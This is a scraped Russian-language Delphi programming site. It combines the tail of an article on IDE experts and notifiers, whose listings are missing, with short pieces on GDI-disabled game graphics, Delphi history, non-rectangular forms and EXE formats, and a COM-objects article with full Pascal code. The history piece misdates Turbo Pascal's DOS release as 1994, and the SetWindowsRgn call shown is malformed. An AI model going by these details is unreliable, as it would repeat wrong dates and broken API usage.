Почему Delphi помещает пункт меню эксперта в раздел Help, остается загадкой. Если вам не нравится то, что пункт меню появляется там, где угодно Delphi, а не там, где хотите вы, возможен следующий вариант: создать эксперт в стиле add-in, что исключает автоматическое создание пункта меню, а пункт меню добавить “вручную”, используя средства Tool Interface. Это позволит задать местоположение нового пункта в главном меню произвольным образом. Для добавления пункта меню используется класс TIToolServices — основа Tool Interface — и классы TIMainMenuIntf, TIMenuItemIntf, реализующие интерфейсы к главному меню IDE и его пунктам. Экземпляр ToolServices класса TIToolServices создается самой IDE при ее инициализации. Обратите внимание на то, что ответственность за освобождение интерфейсов к главному меню Delphi и его пунктам целиком ложится на разработчика. Попутно немного усложним функциональную нагрузку эксперта: при активизации своего пункта меню он будет выдавать справку об имени проекта, открытого в данный момент в среде:

В этом примере центральное место занимает функция AddIDEMenuItem, осуществляющая добавление пункта меню в главное меню IDE Delphi. В качестве параметров ей передаются текст нового пункта меню, его идентификатор, идентификатор пункта, перед которым вставляется новый пункт, символьное представление клавиши, которая вместе с клавишей Ctrl может использоваться для быстрого доступа к новому пункту, и обработчик события, соответствующего выбору нового пункта. Мы добавили новый пункт меню в раздел View перед пунктом Watches.

Теперь познакомимся с нотификаторами. Определим add-in нотификатор, отслеживающий моменты закрытия/открытия проектов и корректирующий соответствующим образом поле, хранящее имя активного проекта (реализацию методов, не претерпевших изменений по сравнению с тпредыдущим примером, для краткости опустим):

Для реализации нотификатора мы определили класс TAddInNotifier, являющийся потомком TIAddInNotifier, и перекрыли метод FileNotification. IDE будет вызывать этот метод каждый раз, когда происходит событие, на которое способен среагировать add-in нотификатор (каждое такое событие обозначается соответствующей константой типа TFileNotification). Поле Expert в классе TAddInNotifier служит для обратной связи с экспертом (метод TAddInNotifier.FileNotification). В деструкторе эксперта регистрация нотификатора снимается, и нотификатор уничтожается.

А теперь проиллюстрируем использование модульных нотификаторов. Создадим add-in эксперт, выдающий сообщения о каждом акте сохранения проектного файла (реализацию уже знакомых нам методов для краткости не приводим):

В данном примере add-in эксперт отслеживает события, соответствующие открытию/закрытию проектов. При каждом открытии проекта регистрируется модульный нотификатор, соответствующий файлу проекта. В плане реализации модульные нотификаторы схожи с add-in нотификаторами: мы определяем класс TModuleNotifier, являющийся потомком TIModuleNotifier и перекрываем его методы Notify и ComponentRenamed. IDE вызывает метод Notify при возникновении определенных событий, имеющих отношение к данному модулю; внутри этого метода и определяется реакция на то или иное событие. Метод ComponentRenamed вызывается при изменении имени компонента, лежащего на форме модуля. Обратите внимание на то, что мы не используем этот метод, но обязаны его перекрыть, иначе при изменении имени компонента будет происходить вызов абстрактного метода базового класса, что приводит к непредсказуемым последствиям. Регистрация модульного нотификатора является несколько более сложным процессом по сравнению с регистрацией add-in нотификатора: сначала мы получаем интерфейс модуля (TIModuleInterface), а затем с помощью интерфейса модуля регистрируем нотификатор. При закрытии проекта регистрация модульного нотификатора снимается (снова с использованием TIModuleInterface), и нотификатор уничтожается.

В заключение покажем, как можно определять позицию курсора в окне редактора кода. Создадим эксперт, который при выборе соответствующего пункта меню выдавал бы сообщение, содержащее имя активного файла и позицию курсора в нем (приведена реализация только существенных для данного примера методов):

Для определения позиции курсора мы должны получить следующую последовательность интерфейсов:

  1. модульный интерфейс (TIModuleInterface);
  2. интерфейс редактора кода (TIEditorInterface);
  3. интерфейс представления модуля в окне редактора (TIEditView).

Если при выборе пункта меню эксперта активным является файл с исходным текстом (*.pas), то выдается сообщение, содержащее имя активного файла и текущую позицию курсора в нем. Если активным является не pas-файл, то сообщение не выдается.

Для получения имени активного файла используется метод GetCurrentFile класса TIToolServices.

На этом завершим рассмотрение способов использования открытых интерфейсов. CD-ROM содержит исходные тексты всех приведенных примеров. На CD-ROM также содержится более сложный и развернутый пример, содержащий add-in эксперт, позволяющий пользователю делать закладки в исходном тексте Delphi-модулей. Краткое руководство по установке и использованию Эксперта Закладок содержится в файле bkmrks97.htm.

Итак, в данной статье в общих чертах рассмотрены открытые интерфейсы и приведены примеры их использования. Еще раз повторим: благодаря наличию исходных текстов открытых интерфейсов вы без труда сможете разобраться в интересующих вас деталях. Надеемся, что многообразие возможностей, предоставляемых открытыми интерфейсами, породит у вас не одну смелую и полезную идею.


FAQ по Delphi

Обзоры

Borland Delphi 5.0

Delphi 5: среда разработки (что нового?)

Использование видео режима 320x200x256

Краткая история Delphi

Основное отличие EXE-файлов созданных Delphi и Visual Basic

Обзор Delphi 5

Статьи и полезные советы

Drag&Drop файлов из FileManager в приложение Delphi

Аналог процедуры Delay в Delphi

Вставка графики в ListBox и ComboBox

Использование обработчика OnHint при наличии нескольких форм

Использование открытых интерфейсов среды программирования Delphi

Как можно определить на какой строке в TMemo находится курсор

Как открыть ComboBox программно

Как поместить BitMap в меню

Как поместить двумерный массив в Image

Как программно спрятать/показать заголовок окна (caption)

Как сделать окно, которое перетаскивается не за заголовок (caption), а за все поле

Как создать непрямоугольную форму

Как убрать заголовок(caption) из MDI child

Маленькие хитрости с большой пользой

Обработка исключительных ситуаций (exceptions) EDBEngineError

Отображение полных строк списка при перемещении мыши по списку

Передача переменной в отчет ReportSmith

Переход на другую страницу TabSet по имени

Получение значения поля типа Memo в Edit без использования объекта TDBMemo

Пример, как заставить клавишу Enter вести себя как Tab в DBGrid

Сканирование доменов локальной сети

Создание COM-объектов средствами Delphi.

Спрятанные приложения

То, чего не было в Паскале (или специальные арифметические функции)


Использование видео режима 320x200x256 в играх под Windows

Повсеместное использование Windows, как основной оболочки для персонального компьютера, поставило пользователей перед неразрешимой проблемой. С одной стороны - Windows является признанным стандартом, а с другой - посредственная работа с графикой в компьютерных играх.

Можно много говорить по поводу достоинств использования видео-драйверов для Windows. Но несомненно одно, видео режим 320x200 с 256 цветами - лидер по скорости, к тому же, он совместим с 99% компьютеров во всем мире. А при всех достоинствах драйверов, они медленны, High и True Color режимы не позволяют использовать палитру, невозможно устанавливать желаемый видео режим и т.д. и т.п.

Конечно, можно запускать DOS-игры под Windows, но все таки хочется одновременно: и CD-проигрыватель, и регулятор громкости, и многое-многое другое (что присуще только Windows), и конечно же быструю, динамичную графику. Можно заявить, что это осуществить невозможно, дескать Windows - это Windows, но...

В Windows существует возможность отключения графического драйвера и перехода в текстовый режим, а кто запрещает переключиться в любой другой?

{Отключение GDI}
procedure Death(DC: hDC); external 'GDI' index 121;

{Включение GDI}
procedure Resurrection; external 'GDI' index 122;

После отключения GDI, вывод на экран производится как в DOS, только не забывайте про защищенный режим!

Плюсы использования этого метода:

  1. Возможность установки любого видео режима;
  2. Использование быстрых алгоритмов вывода на экран;
  3. Работа с палитрой;
  4. Возможность использования всех устройств поддерживаемых Windows.

Минус:

  1. Невозможность использования стандартного графического интерфейса. (А нужен ли он в играх?)


История Delphi

Краткая история Delphi

Delphi - это потомок Турбо Паскаля, который был выпущен для операционной системы CP/M в 1983 году. В феврале 1994 года Турбо Паскаль был пренесен на операционную систему MS-DOS.

На раннем этапе развития компьютеров IBM PC, Турбо Паскаль являлся одним из наиболее популярных языков разработки программного обеспечения - главным образом потому, что это было вполне серьезный компилятор, который, включая компилятор, редактор и все остальное, стоил всего $19.95 и работал на машине с 64 Kb оперативной памяти.

Под Windows - Турбо Паскаль был перенесен фирмой Borland в 1990 году. А самая последняя версия Borland Pascal 7.0 (имеющяя теперь такое названние), не считая Delphi, вышла в свет в 1992 году.

Разработка Delphi началась в 1993 году. После проведения beta-тестирования Delphi показали на "Software Development '95". И 14 февраля 1995 года официально объявили о ее продаже в США. В торговлю Delphi попала спустя 14 дней, 28 февраля 1995 года.


Как создать непрямоугольную форму

Немного о непрямоугольных формах... Кажется, весь мир сошёл с ума по таким формам; фидошные эхи пестрят вопросами на эту тему (наряду с вопросом как поместить иконку на панель задач (туда, где часы):) Есть ли сложности при создании непрямоугольной формы? Нет... Почти... Дело в том, что задать внешний вид формы можно, вызвав всего лишь одну функцию SetWindowsRgn.

SetWindowsRgn(Form1.Handle, True); // Второй параметр всегда равен True

Правда, перед этим потребуется создать подходящий регион. Большинство из тех, кто работает на Дельфи, не знают, что такое регион, главным образом потому, что эта штука не нашла своего отражения в VCL. :)

Документация утверждает, что регион, это "прямоугольник, многоугольник, эллипс или комбинация двух или более фигур из приведённого списка". Регионы используются для "заливки, отсечения (то, что по английски называется clipping)" и других, не менее полезных операций.

Для создания регионов существуют такие функции (с очевидным назначением), как CreateRectRgn, CreateEllipticRgn, CreatePolygonRgn и несколько других. Объединять регионы между собой можно при помощи функции CombineRgn.

На этом теоретическая часть могла бы быть закончена, если бы не одно "но"... Это "но" я процитирую отдельно... :)

Но ведь чаще всего непрямоугольную форму требуется построить на базе растровой картинки, задав для неё прозрачный цвет! Как быть?

Это правда. Насколько мне известно, Windows не умеет этого делать, то есть в ней нет функции CreateBitmapRgn. Тем не менее, можно создавать и такие регионы. Для этого необходимо пробежаться по всей картинке сверху вниз, в каждой строчке найти непрозрачные области и сделать из них прямоугольные регионы (эти прямоугольники будут высотой в 1 пиксель). Затем мы объединяем эти регионы — и, вуаля — вот он, искомый регион!

Готов поспорить, вы думаете, что это слишком сложно... :) Проверяем.

function BitmapToRegion(Bitmap: TBitmap; TransColor: TColor): HRGN;
var
X, Y: Integer;
XStart: Integer;
begin
Result := 0;
with Bitmap do
for Y := 0 to Height - 1 do
begin
X := 0;
while X < Width do
begin
// Пропускаем прозрачные точки
while (X < Width) and (Canvas.Pixels[X, Y] = TransColor) do
Inc(X);
if X >= Width then
Break;
XStart := X;
// Пропускаем непрозрачные точки
while (X < Width) and (Canvas.Pixels[X, Y] <> TransColor) do
Inc(X);
// Создаём новый прямоугольный регион и добавляем его к
// региону всей картинки
if Result = 0 then
Result := CreateRectRgn(XStart, Y, X, Y + 1)
else
CombineRgn(Result, Result,
CreateRectRgn(XStart, Y, X, Y + 1), RGN_OR);
end;
end;
end;
Этот способ работает, конечно, небыстро, но он работает. Дабы облегчить вам труд понимания и набивания, я написал демонстрационную программу (5262), создающую непрямоугольную форму на базе любого файла Region.bmp, который лежит в её каталоге. По умолчанию с программой поставляется картинка, которую вы видите справа. Задать прозрачный цвет или выйти из программы можно через всплывающее меню (для самых понятливых объясняю: потребуется щёлкнуть на форме правой кнопкой мыши :)

Помимо всего прочего, пример демонстрирует, как таскать форму левой кнопкой мыши (в смысле, не только за заголовок окна). Для этого нам потребуется создать свою собственную процедуру обработки события WM_LBUTTONDOWN, которое форма получает всякий раз, когда на ней нажимают левую кнопку мыши. Вот как эта процедура выглядит в описании формы:

type
TFormMain = class(TForm)
private
{ Private declarations }
procedure WMLButtonDown(var Msg: TMessage); message WM_LBUTTONDOWN;
public
{ Public declarations }
end;
Строчка, которую нужно будет добавить, выделена красным цветом. В разделе реализации эта функция выглядит так:
procedure TFormMain.WMLButtonDown(var Msg: TMessage);
begin
Perform(WM_NCLBUTTONDOWN, HTCAPTION, Msg.LParam);
end;
Форма посылает самой себе сообщение WM_NCLBUTTONDOWN с wParam равным HTCAPTION, то есть эмулирует ситуацию, когда пользователь нажимает левую кнопку мыши на заголовке формы.


Основное отличие EXE-файлов созданных Delphi и Visual Basic

Существует два важных различия между файлами EXE, созданными в Delphi, и файлами EXE, созданными VB. Delphi создает чисто машинный код, непосредственно исполняемый компьютером, в то время как VB транслирует исходный код в промежуточную форму (р-код). Файл EXE, сгенерированный VB, в действительности является программой-интерпретатором р-кода с добавленным в конце р-кодом программы пользователя.

"Библиотека времени выполнения" (run-time library) стандартных функций для всех программ VB хранится в файле VBRUN300.DLL. Каждая программа VB, попавшая к конечному пользователю, должна включать этот файл, либо приходится расчитывать, что такой файл у пользователя уже есть. Дистрибутивный комплект программы должен также содержать файлы VBX для каждого управляющего средства VB, не включенного в VBRUN300.DLL.

Программы Delphi включают необходимую часть библиотеки времени выполнения Delphi, а также используемые компоненты. В результате EXE-файл Delphi обычно больше по объему, чем эквивалентный EXE-файл VB, но он не зависит ни от каких внешних файлов.


Создание COM-объектов средствами Delphi.

Нил Дж. Рубенкинг

Как преодолеть отсутствие множественного наследования в Delphi.

Все сообщество программистов разделяется по приверженности к той или иной платформе и языку программирования. Один предпочитает Delphi для Windows, другому нравится ассемблер для DOS, третий программирует на Си++ для OS/2. Навыки работы для одной платформы совсем не обязательно станут полезными при переходе на другую, а знание отдельного языка программирования может даже затруднить изучение другого. Все эти преграды можно было бы преодолеть, используя межпроцессное взаимодействие между программами, однако здесь возникает новая трудность - разные формы внутреннего представления данных в этих программах.

Однако есть способ решения этих проблем: применение единого стандарта для организации связи между объектами, который не зависит от используемой платформы и языка. Именно такова разработанная Microsoft компонентная модель объекта COM (Component Object Model). Данная технология уже получила широкое внедрение: ведь на ее базе работают механизмы OLE и ActiveX.

К сожалению, в изданной на текущий момент литературе недостаточно четко отражен тот факт, что программировать для COM-модели можно на самых разных языках. В большинстве примеров, за очень редким исключением, используется Си++. Некоторые примеры ориентированы только на Си++ и средства этого языка для множественного наследования. Другие примеры строятся на основе библиотеки MFC, причем в этом случае настолько интенсивно используются ее специфические макроконструкции для COM, что создается впечатление, будто это вообще не Си. Вывод следующий: если у вас нет опыта работы в Си++, то вам будет трудно разобраться, как программировать для COM.

В этой и следующей за ней статьях мы рассмотрим процесс формирования COM-объектов в среде разработки Borland Delphi. В первой части мы коснемся проблем организации COM-объектов в Delphi и покажем несколько вариантов их решения. Во второй части будут приведены примеры пяти типовых объектов для стандартных надстроек оболочки Windows 95. В отдельных случаях COM-объекты целесообразно хранить как EXE-файлы. Однако в этой статье с целью простоты изложения материала будут рассматриваться лишь COM-объекты, записанные в наиболее часто используемой для них форме DLL-модулей.

Основные понятия о COM-объектах

Что же кроется внутри COM-объекта? Нам совершенно не нужно вникать в это! Весь обмен информацией между COM-объектом и внешним миром осуществляется через конкретные интерфейсы. Каждый из них реализует доступ к одной или нескольким функциям, обратиться к которым может любой объект или программа. Все COM-объекты должны иметь интерфейс IUnknown с тремя его функциями - AddRef, Release и QueryInterface. Функции AddRef и Release отвечают за обычную задачу сопровождения жизненного цикла объекта. При каждом обращении к Addref содержимое счетчика ссылок данного объекта увеличивается на единицу, а при каждом обращении к Release - уменьшается. Когда значение счетчика достигает нуля, объект уничтожается. Практический интерес представляет третья функция интерфейса IUnknown - QueryInterface. Получив доступ к обязательно присутствующему интерфейсу IUnknown, программа или любой другой объект сразу может обратиться к функции QueryInterface и узнать обо всех остальных имеющихся у этого объекта интерфейсах. IUnknown находится на вершине иерархического дерева всех COM-интерфейсов. Любой другой интерфейс фактически наследуется от IUnknown и поэтому также должен обеспечивать доступ ко всем трем IUnknown-функциям.

Понятие объекта как в терминологии COM-модели, так и в Delphi или Си++ имеет практически одинаковый смысл. А вот COM-интерфейс больше напоминает Delphi- или Си++-объект, у которого отсутствуют public-переменные и имеются лишь виртуальные методы. Список функций интерфейса соответствует виртуальной таблице методов Object Pascal или объекта Си++. Создать COM-интерфейс можно средствами практически любого языка: достаточно лишь объявить объект с требуемым списком виртуальных методов. Само собой разумеется, что задаваемые определения методов должны в точности соответствовать определениям функций в самих интерфейсах. Однако, кроме того, необходимо соблюдать правильный порядок их размещения в виртуальной таблице. Сказанное означает, что эти определения следуют в заданном порядке, а перед ними нет никаких других виртуальных методов.

В файле OLE2.PAS, входящем в комплект Delphi 2.0, показано, как давать определение типу интерфейсного объекта для IUnknown и для нескольких десятков других, производных от IUnknown интерфейсов, например IClassFactory, IMarshal и IMalloc. Каждому методу, входящему в состав этих интерфейсных объектов, дается такое определение, как virtual, stdcall или abstract. Пояснение, зачем указывается virtual, уже было дано. Ключевое слово stdcall сообщает компилятору, что вызов данного метода следует производить по стандартным правилам. Слово abstract указывает, что функциональная часть данного метода в текущем объекте отсутствует, но она должна присутствовать у некоторого дочернего объекта, для которого будет создаваться его экземпляр. В файле OLE2.PAS дается определение для более чем 50 интерфейсов, непосредственно наследуемых от IUnknown, причем каждый из них предоставляет как собственный интерфейс, так и IUnknown.

Однако из-за необходимости иметь для COM-объекта два или более интерфейса, не считая IUnknown, возникает одна проблема. В Си++ достаточно дать определение COM-объекту как многократно наследуемому от тех объектов, где требуемые интерфейсы содержатся. Однако для объектов Delphi возможность множественного наследования не допускается. Поэтому приходится искать иное решение. (К сведению программистов на Си++: при создании COM-объектов на базе MFC применяется технология, аналогичная описываемой здесь для Delphi. Эта особенность остается незамеченной на фоне великого множества макроконструкций, которые используются при определении COM-объекта средствами MFC.)

Сателлиты и контейнеры

Ключевой фактор создания в Delphi COM-объекта с несколькими интерфейсами состоит в том, что объект рассматривается как передающий контейнер этих интерфейсов. Совсем не обязательно иметь их внутри данного COM-объекта. Необходимо лишь при запросе, когда вызывается метод QueryInterface его интерфейса IUnknown предоставлять доступ к нужному интерфейсу. Такой COM-объект, созданный в Delphi, может лишь непосредственно обслуживать три свои функции IUnknown, а при запросе через QueryInterface интерфейса IUnknown, передавать указатель на самого себя. Он действует как передаточный механизм и распорядитель других объектов, имеющих свои интерфейсы. Такие интерфейсные объекты-сателлиты отображают свои три IUnknown-метода на общий объект-контейнер. Если приходит запрос на один из сателлитных интерфейсов (как правило, через метод QueryInterface), контейнер передает указатель на соответствующий объект-сателлит. На листинге показан пример, как средствами Delphi можно создать такие интерфейсные объекты с типами сателлит и контейнер, а также как подготовить соответствующий интерфейс IClassFactory.

Листинг. С помощью этих обобщенных объектов с описанием интерфейсов можно создавать в среде Delphi COM-объекты с несколькими интерфейсами.
unit DelphCom;
// "Обобщенные" объекты. Предназначены для создания COM-объектов
// в Delphi. ISatelliteUnknown - интерфейсный объект, который
// будет обслуживаться через IContainerUnknown. Любой реальный
// COM-объект с несколькими интерфейсами
// будет наследоваться из IContainerUnknown и содержать
// функцию QueryInterface.
USES Windows, Ole2, Classes, SysUtils, ShellApi, ShlObj;

VAR DllRefCount : Integer;
type
  IContainerUnknown = class;

  ISattelliteUnknown = class(IUnknown)
  // Этот интерфейс будет обслуживаться через IContainerUnknown.
  // Отображает три IUnknown-функции на свой объект-контейнер.
  protected
  fContainer : IContainerUnknown;
public
  constructor Create(vContainer : IContainerUnknown);
  function QueryInterface(const WantIID: TIID;
    var ReturnedObject): HResult; override;
  function AddRef: Longint; override;
  function Release: Longint; override;
end;

IContainerUnknown = class (IUnknown)
protected
  FRefCount : Integer;
public
  Constructor Create;
  destructor Destroy; override;
  (IUnknown-функции)
  function QueryInterface(const WantIID: TIID;
    var ReturnedObject): HResult; override;
  function AddRef: LongInt; override;
  function Release: LongInt; override;
end;

IMyClassFactory = Class(IClassFactory)
private
  FRefcount : Integer;
public
  constructor Create;
  destructor Destroy; override;
  function QueryInterface(const WantIID: TIID;
    var ReturnedObject): HResult; override;
  function AddRef: LongInt; override;
  function Release: LongInt; override;
  // В дочернем объекте должно быть дано определение
  // для функции CreateInstance
  function LockServer(fLock: BOOL):
      HResult; override;
end;

function DLLCanUnloadNow : HResult; StdCall; Export;
implementation

(****** ISatelliteUnknown *****)
constructor ISatelliteUnknown.Create(vContainer:
    IContainerUnknown);
begin
  fContainer := vContainer;
end;

function ISatelliteUnknown.QueryInterface(const WantIID: TIID;
    var ReturnedObject): HResult;
begin
  Result := fContainer.QueryInterface(WantIid,
      ReturnedObject);
end;

function ISatelliteUnknown.AddRef: LongInt;
begin
  Result := fContainer.AddRef;
end;

function ISatelliteUnknown.Release: LongInt;
begin
  Result := fContainer.Release;
end;

(****** IContainerUnknown ******)
constructor  IContainerUnknown.Create;
begin
  Inherited Create;
  FRefCount := 0;
  Inc(DllRefCount);
end;

destructor IContainerUnknown.Destroy;
begin
  Dec(DllRefCount);
  Inherited Destroy;
end;

function IContainerUnknown.QueryInterface(const WantIID: TIID;
    var ReturnedObject): HResult;
VAR P : IUnknown;
begin
  If IsEqualIID(WantIID, IID_IUnknown) THEN P := Self
  ELSE P:= nil;
  Pointer(ReturnedObject) := P;
  IF P = NIL THEN Result := E_NOINTERFACE
  ELSE
    begin
      P.AddRef;
      Result := S_OK;
    end;
end;

function IContainerUnknown.AddRef: LongInt;
begin
  Inc(FRefCount);
  Result := FRefCount;
end;

function IContainerUnknown.Release: LongInt;
begin
  Dec(FRefCount);
  Result := FRefCount;
  IF FRefCount = 0 THEN Free;
end;

(****** IMyClassFactory ******)
constructor IMyClassFactory.Create;
begin
  Inherited Create;
  Inc(DllRefCount);
  FRefCount := 0;
end;

destructor IMyClassFactory.Destroy;
begin
  Dec(DllRefCount);
  Inherited Destroy;
end;

function IMyClassFactory.QueryInterface(const WantIID: TIID;
    var ReturnedObject): HResult;

begin
  If IsEqualIID(WantIiD, IID_IUnknown) OR
      IsEqualIID(WantIiD, IID_IClassFactory) THEN
    begin
      Pointer(ReturnedObject) := Self;
      AddRef;
      Result := S_OK;
    end
  ELSE
    begin
      Pointer(ReturnedObject) := NIL;
      Result := E_NOINTERFACE;
    end
end;

function IMyClassFactory.AddRef: LongInt;
begin
  Inc(FRefCount);
  Result := FRefCount;
end;

function IMyClassFactory.Release: LongInt;
begin
  Dec(FRefCount);
  Result := FRefCount;
  IF FRefCount = 0 THEN Free;
end;

function IMyClassFactory.LockServer(fLock: Bool):HResult;
begin
  Result := E_NOTIMPL;
end;

(****** экспортируемая функция ******)
function DLLCanUnloadNow: hResult; StdCall; Export;
begin
  IF DllRefCount = 0 THEN Result := S_OK
  ELSE                    Result := S_FALSE;
end;

initialization
  DllRefCount := 0;
end.

Объекты-сателлиты

Объектный тип ISatelliteUnknown непосредственно наследуется от рабочего типа IUnknown, причем все его три абстрактных метода обязательно переопределяются. ISatelliteUnknown содержит единственное поле protected-переменной с именем FContainer и типом IContainerUnknown (его определение дается позже); начальное значение для данной переменной присваивается в его конструкторе Create. Назначение трех его IUnknown-функций состоит лишь в том, чтобы передать результат, полученный после вызова соответствующего метода объекта-контейнера. В зависимости от того, какой интерфейс запрашивает вызывающая программа, она получает доступ к методам QueryInterface, AddRef и Release либо непосредственно через объект-контейнер, либо через любой из его объектов-сателлитов.

Если вам уже приходилось изучать литературу по технологии OLE, то вы наверняка обратили внимание, что в модуле DelphCOM, приведенном в листинге, используются нестандартные имена для параметров QueryInterface. Обычно для обозначения идентификатора ID нужного интерфейса используется имя riid, а передаваемому программе объекту назначается имя ppv. Поскольку имена параметров имеют смысл только в пределах данного объекта, я решил заменить зашифрованные стандартные имена на более понятные WantIID и ReturnedObject.

Объекты-контейнеры

Объектный тип IContainerUnknown также непосредственно наследуется от IUnknown. Он содержит собственный счетчик количества ссылок, записываемый в поле protected-переменной с именем FRefCount; его функция AddRef обеспечивает приращение счетчика FRefCount, а Release - его уменьшение. Обе функции - AddRef и Release - передают в программу новое значение счетчика. Если оно становится равным 0, функция Release дополнительно производит высвобождение объекта.

Кроме этого, в модуле DelphCOM дается определение глобальному счетчику ссылок для всей DLL, через который отслеживаются все объекты, производные от этих обобщенных COM-объектов. Его приращение и уменьшение производятся при работе соответственно конструктора и деструктора этого объекта-контейнера. Любая DLL, где содержатся COM-объекты, должна выполнять две специальные функции - DLLCanUnloadNow и DLLGetClassObject. В модуле DelphCOM присутствует функция DLLCanUnloadNow, которая будет принимать значение False до тех пор, пока значение упомянутого глобального счетчика DLL не станет равным 0. Что же касается функции DLLGetClassObject, то ее содержание специфично для каждой конкретной DLL, использующей DelphCOM. Поэтому ее нельзя будет записать до тех пор, пока не будут заданы сами COM-объекты (являющиеся производными от ISatelliteUnknown и IContainerUnknown).

Объект IContainerUnknown реагирует на запросы интерфейса IUnknown, поступающие через QueryInterface, и передает указатель на самого себя. При запросе иного интерфейса передается код ошибки E_NOINTERFACE. Когда же данная ситуация возникает в производном от IContainerUnknown объекте, то функция QueryInterface сначала обращается к этой, наследуемой от родительского объекта функции. Если в ответ передается значение E_NOINTERFACE, тогда проверяется совпадение идентификатора запрашиваемого интерфейса с идентификаторами его других интерфейсов. При совпадении в программу передается указатель этого объекта-сателлита.

Генератор класса

COM-объекты могут создаваться при выдаче соответствующей команды от системы или от некоторой программы. Этот процесс создания управляется особым типом COM-объекта, именуемым генератором класса (class factory); он также получается прямым наследованием от IUnknown. Имеющийся в модуле DelphCOM объект IMyClassFactory, как и объект IContainerUnknown, содержит методы AddRef и Release. Если через QueryInterface поступает запрос на IUnknown или IClassFactory, то он передает указатель на самого себя. Кроме названных трех функций в интерфейсе IClassFactory дополнительно появляются две новые - CreateInstance и LockServer. Обычно функция LockServer не требуется, и в этом случае она принимает особое значение E_NOTIMPL - признак того, что данная функция не задействована.

Наиболее важная функция генератора класса, ради которой он создается, - это CreateInstance. С ее помощью вызывающая программа создает экземпляр требуемого объекта. В модуле DelphCOM, правда, еще нет каких-либо "законченных" объектов; здесь содержатся лишь обобщенные объекты сателлита и контейнера. Когда мы даем определение COM-объекту как наследуемому от IContainerUnknown, нам также приходится давать определение объекту, производному от IMyClassFactory, функция которого - CreateInstance - будет передавать в программу новый экземпляр этого COM-объекта.

Теперь, введя IMyClassFactory, мы получили полный комплект обобщенного COM-объекта для работы в Delphi. Эта система из объектов сателлита и контейнера может использоваться в любом объектно-ориентированном языке программирования; ведь, действительно, COM-объекты, создаваемые средствами MFC, используют аналогичную систему. Во второй части этой статьи мы перейдем от теории к практике. Возможности рассмотренных здесь обобщенных объектов будут существенно расширены, что позволит в качестве примера создать пять различных типовых надстроек для оболочки Windows 95 - для обслуживания операций с контекстным меню, диалоговым окном Property, перетаскивания объектов с помощью правой клавиши мыши, манипуляций с пиктограммами и операций копирования.

Разобравшись с примерами, вы почувствуете полную готовность к созданию собственных, реально действующих надстроек для оболочки Windows 95.

Идентификаторы GUID, CLSID и IID

При создании и работе COM-объектов интенсивно используются идентификаторы, именуемые как Globally Unique Identifiers (глобально уникальные идентификаторы), или, коротко, GUIDs (произносится "GOO-ids"). Этот параметр представляет собой некоторое 128-разрядное число, генерируемое функцией CoCreateGUID, входящей в состав Windows API. Значения GUID должны быть уникальны в глобальных масштабах: передаваемое функцией CoCreateGUID значение никогда не должно повторяться. Крейг Брокшмидт (Kraig Brockschmidt), специалист по OLE (из группы разработчиков OLE в Microsoft), как-то заявил, что вероятность совпадения результатов двух различных обращений к CoCreateGUID равняется тому, что "два случайно блуждающих по вселенной атома вдруг внезапно столкнутся и образуют гибрид маленького калифорнийского авокадо с канализационной крысой из Нью-Йорка".

Дело в том, что у каждого интерфейса должен быть свой идентификатор IID (Interface ID), являющийся тем же самым GUID. В файле OLE2.PAS, входящем в комплект Delphi, дается определение десяткам таких параметров. Пример программы из данной статьи содержит ссылки на идентификаторы интерфейсов IUnknown и IClassFactory; а в файле OLE2.PAS содержится множество других подобных параметров. Кроме того, любой объектный класс, зарегистрированный в системе, должен иметь свой идентификатор класса Class ID (CLSID). Если вам когда-нибудь приходилось с помощью программы RegEdit просматривать ключ HKEY_CLASSES_ROOT\CLSID системного реестра Windows, вы наверняка обращали внимание на десятки, а иногда и сотни непонятных строк с записанными в них цифрами. Все это - идентификаторы классов для всех COM-объектов, зарегистрированных на вашем компьютере. Не будем вдаваться в подробности; скажем лишь, что при программировании COM-объектов следует использовать имеющиеся параметры GUID, а также создавать новые, специфичные для вашей конкретной программы.

Существует ряд бесплатных утилит, например UUIDGEN.EXE, позволяющих генерировать новые значения GUID. Однако после ее исполнения придется заниматься рутинной задачей - аккуратно переписывать полученные значения на место констант Delphi. Взамен UUIDGEN.EXE служба PC Magazine Online предлагает другую "консольную" программу с текстовым выводом. Ее можно либо загрузить в интегрированную среду Delphi и произвести компиляцию там, либо обработать компилятором Delphi, введя через командную строку DCC32 GUIDS.DPR. Теперь запустите полученную программу, и вы получите абсолютно новое, не встречавшееся ранее значение GUID - в виде строки и в виде типовой константы Delphi.

Отныне, начиная работу над новым проектом, внимательно подсчитайте необходимое количество отдельных параметров GUID. На всякий случай добавьте еще несколько. Теперь укажите это число как параметр для программы GUIDS.EXE и перенаправьте ее вывод в отдельный файл. Там будут записаны указанное количество идентификаторов GUID, причем, как правило, они будут представлять собой блок непрерывно возрастающих чисел. Дело в том, что когда используемые в вашем проекте параметры GUID отличаются между собой лишь цифрой в отдельной позиции, легче разбираться, какой идентификатор к чему относится. Теперь вы можете вырезать эти значения из текстового файла и вставить в нужные места своего проекта.

Примеры создания четырех COM объектов - расширений оболочки Windows 95.

В технологиях создания COM объектов в среде Delphi и в среде Си++ наблюдаются существенные различия, хотя, конечно, есть в них и некоторое сходство: у таких объектов обычно один или несколько интерфейсов, а у объекта в Delphi и у объекта в C++ может быть один и тот же COM-интерфейс. Однако в Си++ задача обеспечения COM объекта несколькими интерфейсами решается с помощью механизма множественного наследования, т. е. порождаемый объект наследует функции от всех требующихся интерфейсов. В Delphi подобной возможности нет, поэтому необходим другой подход.

В Delphi COM объект с несколькими интерфейсами приходится формировать из нескольких отдельных объектов. Каждый из требующихся COM-интерфейсов предоставляется объектом-сателлитом - потомком имеющегося в Delphi объекта типа IUnknown. Такой объект-саттелит реализует интерфейс IUnknown. Сам же COM объект представляет собой объект-контейнер, тоже производный от IUnknown. Объект-контейнер, содержащий экземпляры объектов-сателлитов в виде полей данных, в ответ на запрос к своему методу QueryInterface передает указатель на упомянутый в нем интерфейс. Эти приемы и их реализацию на примере объектов ISatelliteUnknown и IContainerUnknown мы рассмотрели в первой части данной статьи. А теперь с помощью этих объектов мы попробуем подготовить специальные COM объекты - расширения оболочки Windows 95.

Мы продемонстрируем процедуры создания средствами Delphi четырех расширений Windows95: обработчика контекстного меню, обработчика списка параметров, обработчика для механизма drag-and-drop и обработчика пиктограмм. Они выполняют операции с некоторым воображаемым типом файлов DelShellFile с расширением DEL. Строка текста такого файла представляет собой целое число; в настоящей программе его заменит какой-то более сложный атрибут файла. Названный "магический номер" используется всеми четырьмя расширениями.

Среди прилагаемых к статье исходных текстов вы обнаружите и еще одно расширение - для обслуживания операции копирования. Но, поскольку для его реализации не требовалась связка контейнер/сателлит, мы не уделили ему внимания в статье.
